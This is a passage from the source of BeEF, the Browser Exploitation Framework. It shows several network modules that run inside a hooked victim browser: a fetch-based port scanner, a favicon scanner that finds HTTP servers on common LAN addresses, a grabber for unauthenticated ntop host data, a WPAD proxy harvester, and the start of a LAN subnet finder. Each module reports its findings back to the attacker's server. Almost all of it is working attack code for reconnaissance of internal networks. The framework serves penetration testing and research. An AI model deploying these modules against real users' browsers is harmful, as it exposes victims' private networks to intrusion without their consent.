    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    // some basic variables to get us started\n    var blocked_ports = [ 1, 7, 9, 11, 13, 15, 17, 19, 20, 21, 22, 23, 25, 37, 42, 43, 53, 77, 79, 87, 95, 101, 102, 103, 104, 109, 110, 111, 113, 115, 117, 119, 123, 135, 139, 143, 179, 389, 465, 512, 513, 514, 515, 526, 530, 531, 532, 540, 548, 556, 563, 587, 601, 636, 993, 995, 2049, 3659, 4045, 6000, 6665, 6666, 6667, 6668, 6669, 65535 ];\n    var default_ports = [ 1,5,7,9,15,20,21,22,23,25,26,29,33,37,42,43,53,67,68,69,70,76,79,80,88,90,98,101,106,109,110,111,113,114,115,118,119,123,129,132,133,135,136,137,138,139,143,144,156,158,161,162,168,174,177,194,197,209,213,217,219,220,223,264,315,316,346,353,389,413,414,415,416,440,443,444,445,453,454,456,457,458,462,464,465,466,480,486,497,500,501,516,518,522,523,524,525,526,533,535,538,540,541,542,543,544,545,546,547,556,557,560,561,563,564,625,626,631,636,637,660,664,666,683,740,741,742,744,747,748,749,750,751,752,753,754,758,760,761,762,763,764,765,767,771,773,774,775,776,780,781,782,783,786,787,799,800,801,808,871,873,888,898,901,953,989,990,992,993,994,995,996,997,998,999,1000,1002,1008,1023,1024,1080,8080,8443,8050,3306,5432,1521,1433,3389,10088 ];\n    var default_services = {'1':'tcpmux', '5':'rje', '7':'echo', '9':'msn', '15':'netstat', '20':'ftp-data', '21':'ftp', '22':'ssh', '23':'telnet', '25':'smtp', '26':'rsftp', '29':'msgicp', '33':'dsp', '37':'time', '42':'nameserver', '43':'whois', '53':'domain', '67':'dhcps', '68':'dhcpc', '69':'tftp', '70':'gopher', '76':'deos', '79':'finger', '80':'http', '81':'hosts2-ns', '88':'kerberos-sec', '90':'dnsix', '98':'linuxconf', '101':'hostname', '106':'pop3pw', '109':'pop2', '110':'pop3', '111':'rpcbind', '113':'ident', '114':'audio news', '115':'sftp', '118':'sqlserv', '119':'nntp', '123':'ntp', '129':'pwdgen', '132':'cisco-sys', '133':'statsrv', '135':'msrpc', '136':'profile', '137':'netbios-ns', '138':'netbios-dgm', '139':'netbios-ssn', '143':'imap', '144':'news', '156':'sqlserv', '158':'pcmail-srv', '161':'snmp', '162':'snmp trap', '168':'rsvd', '174':'mailq', '177':'xdmcp', '194':'irc', '197':'dls', '199':'smux', '209':'tam', '213':'ipx', '217':'dbase', '219':'uarps', '220':'imap3', '223':'cdc', '264':'bgmp', '315':'dpsi', '316':'decauth', '346':'zserv', '353':'ndsauth', '389':'ldap', '413':'smsp', '414':'infoseek', '415':'bnet', '416':'silver platter', '440':'sgcp', '443':'https', '444':'snpp', '445':'microsoft-ds', '453':'creativeserver', '454':'content server', '456':'macon', '457':'scohelp', '458':'appleqtc', '462':'datasurfsrvsec', '464':'kpasswd5', '465':'smtps', '466':'digital-vrc', '480':'loadsrv', '486':'sstats', '497':'retrospect', '500':'isakmp', '501':'stmf', '515':'printer (spooler lpd)', '516':'videotex', '518':'ntalk', '522':'ulp', '523':'ibm-db2', '524':'ncp', '525':'timed', '526':'tempo', '533':'netwall', '535':'iiop', '538':'gdomap', '540':'uucp', '541':'uucp-rlogin', '542':'commerce', '543':'klogin', '544':'kshell', '545':'ekshell', '546':'dhcpconf', '547':'dhcpserv', '548':'afp', '556':'remotefs', '557':'openvms-sysipc', '560':'rmonitor', '561':'monitor', '563':'snews', '564':'9pfs', '587':'submission', '625':'apple-xsrvr-admin', '626':'apple-imap-admin', '631':'ipp', '636':'ldapssl', '637':'lanserver', '660':'mac-srvr-admin', '664':'secure-aux-bus', '666':'doom', '683':'corba-iiop', '740':'netcp', '741':'netgw', '742':'netrcs', '744':'flexlm', '747':'fujitsu-dev', '748':'ris-cm', '749':'kerberos-adm', '750':'kerberos', '751':'kerberos_master', '752':'qrh', '753':'rrh', '754':'krb_prop', '758':'nlogin', '760':'krbupdate', '761':'kpasswd', '762':'quotad', '763':'cycleserv', '764':'omserv', '765':'webster', '767':'phonebook', '771':'rtip', '773':'submit', '774':'rpasswd', '775':'entomb', '776':'wpages', '780':'wpgs', '781':'hp-collector', '782':'hp-managed-node', '783':'spam assassin', '786':'concert', '787':'qsc', '799':'controlit', '800':'mdbs_daemon', '801':'device', '808':'ccproxy-http', '871':'supfilesrv', '873':'rsync', '888':'access builder', '898':'sun-manageconsole', '901':'samba-swat', '953':'rndc', '989':'ftps-data', '990':'ftps', '992':'telnets', '993':'imaps', '994':'ircs', '995':'pop3s', '996':'xtreelic', '997':'maitrd', '998':'busboy', '999':'garcon', '1000':'cadlock', '1002':'windows-icfw', '1008':'ufsd', '1023':'netvenuechat', '1024':'kdm', '1025':'NFS-or-IIS', '1080':'socks', '1433':'mssql', '1434':'ms-sql-m', '1521 ':'oracle', '1720':'h323q931', '1723':'pptp', '3306':'mysql', '3389':'ms-wbt-server', '4489':'radmin', '5000':'upnp', '5060':'sip', '5432':'postgres', '5900':'vnc', '6000':'x11', '6001':'X11:1', '6446':'mysql-proxy', '8050':'coldfusion', '8080':'http-proxy', '8443':'tomcat', '8888':'sun-answerbook', '9100':'HP JetDirect card', '10000':'snet-sensor-mgmt', '10088':'zend server', '11371':'hkp'};\n    var top_ports = [80, 23, 443, 21, 22, 25, 3389, 110, 445, 139, 143, 53, 135, 3306, 8080, 1723, 111, 995, 993, 5900, 1025, 587, 8888, 199, 1720, 465, 548, 113, 81, 6001, 10000, 5060, 515, 5000, 9100];\n    var host = '<%= @ipHost %>';\n    var ports = '<%= @ports %>';\n    var port = \"\";\n    var ports_list= [];\n  \n    // function to take the ports provided and turn them into a working array\n    function prepare_ports() {\n        // Default ports to scan \n      if (ports == 'default') { \n            // nmap most used ports to scan + some new ports\n            for ( var i=0; i<default_ports.length; i++) {\n                ports_list[i] = default_ports[i];\n            }\n      }\n  else if (ports == 'top') {\n            // nmap most used ports to scan + some new ports\n            for ( var i=0; i<top_ports.length; i++) {\n          ports_list[i] = top_ports[i];\n            }\n      } \n  else {\n            // Custom ports provided to scan\n            if (ports.search(\",\") > 0) ports_list = ports.split(\",\"); // list of ports\n            else if (ports.search(\"-\") > 0) {\n                var firstport = parseInt(ports.split(\"-\")[0]); // range of ports, start\n                var lastport = parseInt(ports.split(\"-\")[1]); // range of ports, end\n                var a = 0;\n                for (var i = firstport; i<=lastport; i++) {\n                    ports_list[a] = firstport + a;\n                    a++;\n                }\n            } \n            else ports_list = ports.split(); // single port\n        }\n    }\n  \n    // function to check if port to be scanned is in the browser ERR_UNSAFE_PORT list\n    function check_blocked(port_to_check) {\n        var res = false;\n  for (var i=0; i<blocked_ports.length; i++) {\n            if (port_to_check == blocked_ports[i]) {\n                res = true;\n            }\n        }\n        return res;\n    }\n  \n    // function to use fetch for port scanning\n    function fetch_scan(hostname, port_) {\n        // check if port that is to be scanned is part of the banned list and report back to the BeEF server\n        if (check_blocked(parseInt(port_))) {\n            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, port_+\": is a blocked port and won't be scanned\", beef.are.status_success());\n            return;\n        }\n        // define an AbortController to handle timeouts and to terminate connections [currently set to 5 seconds]\n        var controller = new AbortController();\n        var signal = controller.signal;\n        setTimeout(() => {controller.abort();}, 5000);\n        // record the time so that if the browser is Chrome/Chromium based timing differences can be used to determine port state\n        var start = Date.now();\n        // setting no-cors here will return a response type of opaque. This means the status code will always be 0 see the following for more details: \n        //  *  https://fetch.spec.whatwg.org/#concept-filtered-response-opaque\n        // if we don't set the mode we will always receive the 'blocked by CORS policy' response even if the traffic isn't HTTP based.\n        fetch('http://' + hostname + \":\"+port_, {\n            method: 'GET',\n            mode: 'no-cors',\n            signal: signal,\n        })\n            // what to do after fetch returns\n            .then(function(res){ \n                // If there is a status returned then Mozilla Firefox 68.5.0esr made a successful connection HTTP based or not\n                // and or Chrome received HTTP based traffic.\n                if (res.status === 0) {                 \n                    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, port_+\": port is open\", beef.are.status_success());\n                }\n            })\n                // If an error occurred with the fetch this could be due to reaching the time out, the port being closed or non HTTP traffic.\n                .catch(err => {\n                    // Alert BeEF if we are giving up due to the port not responding for N seconds\n                    if (signal.aborted === true) {\n                        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, port_+\": Giving up on port due to Timeout\", beef.are.status_success());\n              }\n                    else {\n                        // We need to capture how long it took to fail ASAP to get an idea on timing differences\n                        end=Date.now();\n                        // A basic browser check so that we don't do timing based stuff on Firefox as it is not needed\n                        var isFirefox = typeof InstallTrigger !== 'undefined';\n                        if (isFirefox === true) {\n                    if (navigator.platform === 'Win32') {\n                                if ((end - start) > 600 ) {\n                                     beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, port_+\": port is closed\", beef.are.status_success());\n                    }\n                    else {\n                                     beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, port_+\": port is open but not HTTP\", beef.are.status_success());\n                    }\n                    }\n                    else {\n                            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, port_+\": port is closed\", beef.are.status_success());\n                    }\n                  }\n                        else {\n                    // console.log('does it work')\n                      // // console.log(end-start)\n                      // // This is a little sketchy but the only way to tell in Chrome/Chromium if the port is open. Basically sub 11ms connection was refused\n                      // // check if windows or linux\n                       if (navigator.platform === 'Win32') {\n                             if ((end - start) > 121 ) {\n                                 beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, port_+\": port is closed\", beef.are.status_success());\n                             }\n                             else {\n                                 beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, port_+\": port is open but does not communicate via HTTP\", beef.are.status_success());\n                             }\n               }\n                       else if (navigator.platform.toLowerCase().includes('linux')) {\n                       // this is for linux\n                             if ((end - start) < 11 ) {\n                                 beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, port_+\": port is closed\", beef.are.status_success());\n                             }\n                             else {\n                                 beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, port_+\": port is open but does not communicate via HTTP\", beef.are.status_success());\n                             }\n                       }\n                       else {\n                           beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"Module hasn't been tested against this browser.\", beef.are.status_success());\n               }\n                        }\n              }\n                })\n    }\n    // sleep function to support async scanning\n    function sleep(ms) {\n        return new Promise(resolve => setTimeout(resolve, ms));\n    }\n    // parse the provided ports\n    prepare_ports();\n    // defining an async function to loop through the provided port list\n    async function run() {\n        // if some how we received no ports, bail.\n        if (ports_list.length < 1) {\n            beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=Scan aborted, no valid ports provided to scan');\n          return;\n        }\n        // process the provided port variable\n        else {\n            desc = '';\n            if (ports == 'default' || ports == 'top') {\n                desc = ports + ' ports on ';\n            }\n            beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=Scanning ' + desc + host+' [ports: ' + ports_list + ']');\n        }\n        count = 0;\n        // Determine if browser is Firefox or not if it is no need for rate limited scanning\n        var isFirefox = typeof InstallTrigger !== 'undefined';\n        while (count < ports_list.length) {\n            // this if/else statement is to account for the necessary sleep we need for chrome.\n            if (isFirefox === true) {\n          // proceed without sleep\n                fetch_scan(host, ports_list[count]);\n            }\n            else {\n                // delay each request by 2 seconds to limit false positives\n                fetch_scan(host, ports_list[count]);\n                await sleep(2000);\n            }\n            count+=1;\n        }\n        // wait to ensure that all scans are complete and then report back to BeEF that the scan is finished\n        await sleep(6000);\n        if(count >= ports_list.length) {\n            beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Scan Finished');\n        }\n    }\n    // execute the main async function\n    run()\n  });\n  "
  },
  {
    "path": "modules/network/fetch_port_scanner/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        fetch_port_scanner:\n            enable: true\n            category: \"Network\"\n            name: \"Fetch Port Scanner\"\n            description: \"Uses fetch to test the response in order to determine if a port is open or not\"\n            authors: [\"Crimes by Will\", \"jcrew99\", \"salmong1t\"]\n            # http://caniuse.com/cors\n            target:\n                working: [\"FF\", \"C\", \"E\", \"EP\"]\n                not_working:\n                    IE:\n                        min_ver: 1\n                        max_ver: 11\n\n                    O:\n                        min_ver: 1\n                        max_ver: 11\n                    C:\n                        min_ver: 1\n                        max_ver: 5\n                    S:\n                        min_ver: 3\n                        max_ver: 5\n                    FF:\n                        min_ver: 3\n                        max_ver: 60\n"
  },
  {
    "path": "modules/network/fetch_port_scanner/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Fetch_port_scanner < BeEF::Core::Command\n  # set and return all options for this module\n  def self.options\n    [\n      { 'name' => 'ipHost', 'ui_label' => 'Scan IP or Hostname', 'value' => '127.0.0.1' },\n      { 'name' => 'ports', 'ui_label' => 'Specific port(s) to scan', 'value' => 'top' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n\n    configuration = BeEF::Core::Configuration.instance\n    return unless configuration.get('beef.extension.network.enable') == true\n\n    session_id = @datastore['beefhook']\n\n    # @todo log the network service\n    # will need to once the datastore is confirmed.\n    # This should basically try and hook the browser\n  end\nend\n"
  },
  {
    "path": "modules/network/get_http_servers/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  var ips     = \"<%= @rhosts %>\";\n  var ports   = \"<%= @ports %>\";\n  var timeout = parseInt(\"<%= @timeout %>\", 10)*1000;\n  var wait    = parseInt(\"<%= @wait %>\", 10)*1000;\n  var threads = parseInt(\"<%= @threads %>\", 10);\n  var urls    = new Array('/favicon.ico', '/favicon.png', '/images/favicon.ico', '/images/favicon.png');\n\n  if(beef.browser.isO()) {\n    beef.debug(\"[Favicon Scanner] Browser is not supported.\");\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=unsupported browser\", beef.are.status_error());\n    return;\n  }\n\n  var sort_unique = function (arr) {\n    arr = arr.sort(function (a, b) { return a*1 - b*1; });\n    var ret = [arr[0]];\n    for (var i = 1; i < arr.length; i++) {\n        if (arr[i-1] !== arr[i]) {\n            ret.push(arr[i]);\n        }\n    }\n    return ret;\n  }\n\n  // set target ports\n  ports = ports.split(',');\n  var target_ports = new Array();\n  for (var i=0; i<ports.length; i++) {\n    var p = ports[i].replace(/(^\\s+|\\s+$)/g, '');\n    if (beef.net.is_valid_port(p)) target_ports.push(p);\n  }\n  ports = sort_unique(target_ports);\n  if (ports.length == 0) {\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=no ports specified\", beef.are.status_error());\n    return;\n  }\n\n  // set target IP addresses\n  if (ips == 'common') {\n    ips = [\n      '192.168.0.1',\n      '192.168.0.100',\n      '192.168.0.254',\n      '192.168.1.1',\n      '192.168.1.100',\n      '192.168.1.254',\n      '10.0.0.1',\n      '10.1.1.1',\n      '192.168.2.1',\n      '192.168.2.254',\n      '192.168.100.1',\n      '192.168.100.254',\n      '192.168.123.1',\n      '192.168.123.254',\n      '192.168.10.1',\n      '192.168.10.254' ];\n  } else {\n    ips = ips.split(',');\n    var target_ips = new Array();\n    for (var i=0; i<ips.length; i++) {\n      var ip = ips[i].replace(/(^\\s+|\\s+$)/g, '');\n      if (beef.net.is_valid_ip(ip)) target_ips.push(ip);\n      else if (beef.net.is_valid_ip_range(ip)) {\n        ipBounds   = ip.split('-');\n        lowerBound = ipBounds[0].split('.')[3];\n        upperBound = ipBounds[1].split('.')[3];\n        for (var i = lowerBound; i <= upperBound; i++) {\n          target_ips.push(ipBounds[0].split('.')[0]+\".\"+ipBounds[0].split('.')[1]+\".\"+ipBounds[0].split('.')[2]+\".\"+i);\n        }\n      }\n    }\n    ips = sort_unique(target_ips);\n    if (ips.length == 0) {\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=malformed target IP address(es) supplied\", beef.are.status_error());\n        return;\n    }\n  }\n\n  // request the specified paths from the specified URL\n  // and report all live URLs back to BeEF\n  checkFavicon = function(proto, ip, port, uri) {\n    var img = new Image;\n    var dom = beef.dom.createInvisibleIframe();\n    beef.debug(\"[Favicon Scanner] Checking IP [\" + ip + \"] (\" + proto + \")\");\n    img.src = proto+\"://\"+ip+\":\"+port+uri;\n    img.onerror = function() { dom.removeChild(this); }\n    img.onload = function() {\n      beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+\"&url=\"+escape(this.src), beef.are.status_success());dom.removeChild(this);\n      beef.debug(\"[Favicon Scanner] Found HTTP Server [\" + escape(this.src) + \"]\");\n    }\n    dom.appendChild(img);\n    // stop & remove iframe\n    setTimeout(function() {\n      if (dom.contentWindow.stop !== undefined) {\n        dom.contentWindow.stop();\n      } else if (dom.contentWindow.document.execCommand !== undefined) {\n        dom.contentWindow.document.execCommand(\"Stop\", false);\n      }\n      document.body.removeChild(dom);\n    }, timeout);\n  }\n\n  // configure workers\n  WorkerQueue = function(id, frequency) {\n    var stack = [];\n    var timer = null;\n    var frequency = frequency;\n    var start_scan = (new Date).getTime();\n    this.process = function() {\n      var item = stack.shift();\n      eval(item);\n      if (stack.length === 0) {\n        clearInterval(timer);\n        timer = null;\n        var interval = (new Date).getTime() - start_scan;\n        beef.debug(\"[Favicon Scanner] Worker #\"+id+\" has finished [\"+interval+\" ms]\");\n        return;\n      }\n    }\n    this.queue = function(item) {\n      stack.push(item);\n      if (timer === null) timer = setInterval(this.process, frequency);\n    }\n  }\n\n  // create workers\n  var workers = new Array();\n  for (var id = 0; id < threads; id++) workers.push(new WorkerQueue(id, wait));\n\n  // for each favicon path:\n  for (var u=0; u < urls.length; u++) {\n    var worker = workers[u % threads];\n    // for each LAN IP address:\n    for (var i=0; i < ips.length; i++) {\n      // for each port:\n      for (var p=0; p < ports.length; p++) {\n        var host = ips[i];\n        var port = ports[p];\n        if (port == '443') var proto = 'https'; else var proto = 'http';\n        // add URL to worker queue\n        worker.queue('checkFavicon(\"'+proto+'\",\"'+host+'\",\"'+port+'\",\"'+urls[u]+'\");');\n      }\n    }\n  }\n\n});\n\n"
  },
  {
    "path": "modules/network/get_http_servers/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_http_servers:\n            enable: true\n            category: \"Network\"\n            name: \"Get HTTP Servers (Favicon)\"\n            description: \"Attempts to discover HTTP servers on the specified IP range by checking for a favicon.<br/><br/>Note: You can specify multiple remote IP addresses (separated by commas) or a range of IP addresses for a class C network (10.1.1.1-10.1.1.254). Set the IP address to 'common' to scan a list of common LAN addresses.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"IE\", \"S\"]\n                user_notify: [\"FF\", \"C\", \"MI\", \"OD\"]\n                not_working: [\"O\"]\n"
  },
  {
    "path": "modules/network/get_http_servers/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Get_http_servers < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhosts', 'ui_label' => 'Remote IP(s)', 'value' => 'common' },\n      { 'name' => 'ports', 'ui_label' => 'Ports', 'value' => '80,8080' },\n      { 'name' => 'threads', 'ui_label' => 'Workers', 'value' => '3' },\n      { 'name' => 'wait', 'ui_label' => 'Wait (s) between each request for each worker', 'value' => '5' },\n      { 'name' => 'timeout', 'ui_label' => 'Timeout for each request (s)', 'value' => '10' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['url'] = @datastore['url'] unless @datastore['url'].nil?\n    content['fail'] = 'No HTTP servers were discovered.' if content.empty?\n    save content\n\n    configuration = BeEF::Core::Configuration.instance\n    return unless configuration.get('beef.extension.network.enable') == true\n    return unless @datastore['results'] =~ /^proto=(.+)&ip=(.+)&port=(\\d+)&url=(.+)/\n\n    proto = Regexp.last_match(1)\n    ip = Regexp.last_match(2)\n    port = Regexp.last_match(3)\n    url = Regexp.last_match(4)\n    session_id = @datastore['beefhook']\n    if !ip.nil? && BeEF::Filters.is_valid_ip?(ip)\n      print_debug(\"Hooked browser found HTTP Server [proto: #{proto}, ip: #{ip}, port: #{port}]\")\n      BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, type: 'HTTP Server')\n    end\n  end\nend\n"
  },
  {
    "path": "modules/network/get_ntop_network_hosts/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var rhost = '<%= @rhost %>';\n  var rport = '<%= @rport %>';\n\n  load_script = function(url) {\n    beef.debug(\"[Get ntop Network Hosts] Loading: \" + url);\n    var s = document.createElement(\"script\");\n    s.type = 'text/javascript';\n    s.src  = url;\n    document.body.appendChild(s);\n  }\n\n  read_ntop = function() {\n    try {\n      var result = JSON.stringify(ntopDict);\n      beef.debug(\"[Get ntop Network Hosts] Success: Found ntop data (\" + result.length + ' bytes)');\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"proto=http&ip=<%= @rhost %>&port=<%= @rport %>&data=\"+result, beef.are.status_success());\n    } catch(e) {\n      beef.debug(\"[Get ntop Network Hosts] Error: Did not find ntop\");\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'result=did not find ntop', beef.are.status_error());\n      return;\n    }\n  }\n\n  load_script(\"http://\"+rhost+\":\"+rport+\"/dumpData.html?language=python&view=long\");\n  setTimeout(\"read_ntop()\", 10000);\n\n});\n\n"
  },
  {
    "path": "modules/network/get_ntop_network_hosts/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_ntop_network_hosts:\n            enable: true\n            category: \"Network\"\n            name: \"Get ntop Network Hosts\"\n            description: \"This module retrieves network information from ntop (unauthenticated).<br/><br/>Tested on:<ul><li>ntop v.5.0.1 on Ubuntu 14.04.1 Server (x86_64)</li><li>ntop v.5.0 on Fedora 19.1 (x86_64)</li><li>ntop v.4.1.0 on Solaris 11.1 (x86)</li></ul><br/>This module does not work for ntop-ng.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/network/get_ntop_network_hosts/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_ntop_network_hosts < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },\n      { 'name' => 'rport', 'ui_label' => 'Remote Port', 'value' => '3000' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n\n    configuration = BeEF::Core::Configuration.instance\n    return unless configuration.get('beef.extension.network.enable') == true\n    return unless @datastore['results'] =~ /^proto=(https?)&ip=([\\d.]+)&port=(\\d+)&data=(.+)\\z/\n\n    proto = Regexp.last_match(1)\n    ip = Regexp.last_match(2)\n    port = Regexp.last_match(3)\n    data = Regexp.last_match(4)\n    session_id = @datastore['beefhook']\n    type = 'ntop'\n    if BeEF::Filters.is_valid_ip?(ip)\n      print_debug(\"Hooked browser found 'ntop' [proto: #{proto}, ip: #{ip}, port: #{port}]\")\n      BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, type: type)\n    end\n    data.to_s.scan(/\"hostNumIpAddress\":\"([\\d.]+)\"/).flatten.each do |ip|\n      if BeEF::Filters.is_valid_ip?(ip)\n        print_debug(\"Hooked browser found host #{ip}\")\n        BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip, port: port)\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "modules/network/get_proxy_servers_wpad/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  load_script = function(url) {\n    beef.debug(\"[Get Proxy Servers] Loading: \" + url);\n    var s = document.createElement(\"script\");\n    s.type = 'text/javascript';\n    s.src  = url;\n    document.body.appendChild(s);\n  }\n\n  read_wpad = function() {\n    if (typeof FindProxyForURL === 'function') {\n      var wpad = FindProxyForURL.toString();\n      beef.debug(\"[Get Proxy Servers] Success: Found wpad (\" + wpad.length + ' bytes)');\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"has_wpad=true&wpad=\"+wpad, beef.are.status_success());\n    } else {\n      beef.debug(\"[Get Proxy Servers] Error: Did not find wpad\");\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"has_wpad=false\");\n      return;\n    }\n    var proxies = [];\n    var proxyRe = /PROXY\\s+[a-zA-Z0-9\\.\\-_]+:[0-9]{1,5}/g;\n    while (match = proxyRe.exec(wpad)) {\n      proxies.push(match[0]);\n    }\n    var proxyRe = /SOCKS\\s+[a-zA-Z0-9\\.\\-_]+:[0-9]{1,5}/g;\n    while (match = proxyRe.exec(wpad)) {\n      proxies.push(match[0]);\n    }\n    if (proxies.length == 0) {\n      beef.debug(\"[Get Proxy Servers] Found no proxies\");\n      return;\n    }\n    beef.debug(\"[Get Proxy Servers] Found \"+proxies.length+\" proxies: \" + proxies.join(','));\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"proxies=\" + proxies.join(','), beef.are.status_success());\n  }\n\n  load_script(\"http://wpad/wpad.dat\");\n  load_script(\"http://wpad/wpad.pac\");\n\n  load_script(\"http://wpad/proxy.dat\");\n  load_script(\"http://wpad/proxy.pac\");\n\n  setTimeout(\"read_wpad()\", 10000);\n\n});\n\n"
  },
  {
    "path": "modules/network/get_proxy_servers_wpad/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_proxy_servers_wpad:\n            enable: true\n            category: \"Network\"\n            name: \"Get Proxy Servers (WPAD)\"\n            description: \"This module retrieves proxy server addresses for the zombie browser's local network using Web Proxy Auto-Discovery Protocol (WPAD).<br/><br/>Note: The zombie browser must resolve <i>wpad</i> to an IP address successfully for this module to work.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/network/get_proxy_servers_wpad/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_proxy_servers_wpad < BeEF::Core::Command\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n\n    configuration = BeEF::Core::Configuration.instance\n    return unless configuration.get('beef.extension.network.enable') == true\n    return unless @datastore['results'] =~ /^proxies=(.+)$/\n\n    session_id = @datastore['beefhook']\n    proxies = Regexp.last_match(1).to_s\n    proxies.split(',').uniq.each do |proxy|\n      next unless proxy =~ /^(SOCKS|PROXY)\\s+([\\d.]+:\\d{1,5})/\n\n      proxy_type = Regexp.last_match(1).to_s\n      ip = Regexp.last_match(2).to_s.split(':')[0]\n      port = Regexp.last_match(2).to_s.split(':')[1]\n      proto = 'HTTP' if proxy_type =~ /PROXY/\n      proto = 'SOCKS' if proxy_type =~ /SOCKS/\n      if BeEF::Filters.is_valid_ip?(ip)\n        print_debug(\"Hooked browser found #{proto} proxy [ip: #{ip}, port: #{port}]\")\n        BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto.downcase, ip: ip, port: port, type: \"#{proto} Proxy\")\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "modules/network/identify_lan_subnets/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  if(!beef.browser.isFF() && !beef.browser.isC()){\n    beef.debug(\"[command #<%= @command_id %>] Browser is not supported.\");\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=unsupported browser\", beef.are.status_error());\n  }\n\n  var min_timeout = 500;\n  var ranges = [\n    '192.168.0.0',\n    '192.168.1.0',\n    '192.168.2.0',\n    '192.168.10.0',\n    '192.168.100.0',\n    '192.168.123.0',\n    '10.0.0.0',\n    '10.0.1.0',\n    '10.1.1.0',\n    '10.10.10.0',\n    '172.16.0.0',\n    '172.16.1.0'\n  ];\n\nvar doScan = function(timeout) {\n\n  var discovered_hosts = [];\n  var proto = \"http\";\n\n  var doRequest = function(host) {\n    var d = new Date;\n    var xhr = new XMLHttpRequest();\n    xhr.timeout = timeout;\n    xhr.onreadystatechange = function(){\n      if(xhr.readyState == 4){\n        var time = new Date().getTime() - d.getTime();\n        var aborted = false;\n        // if we call 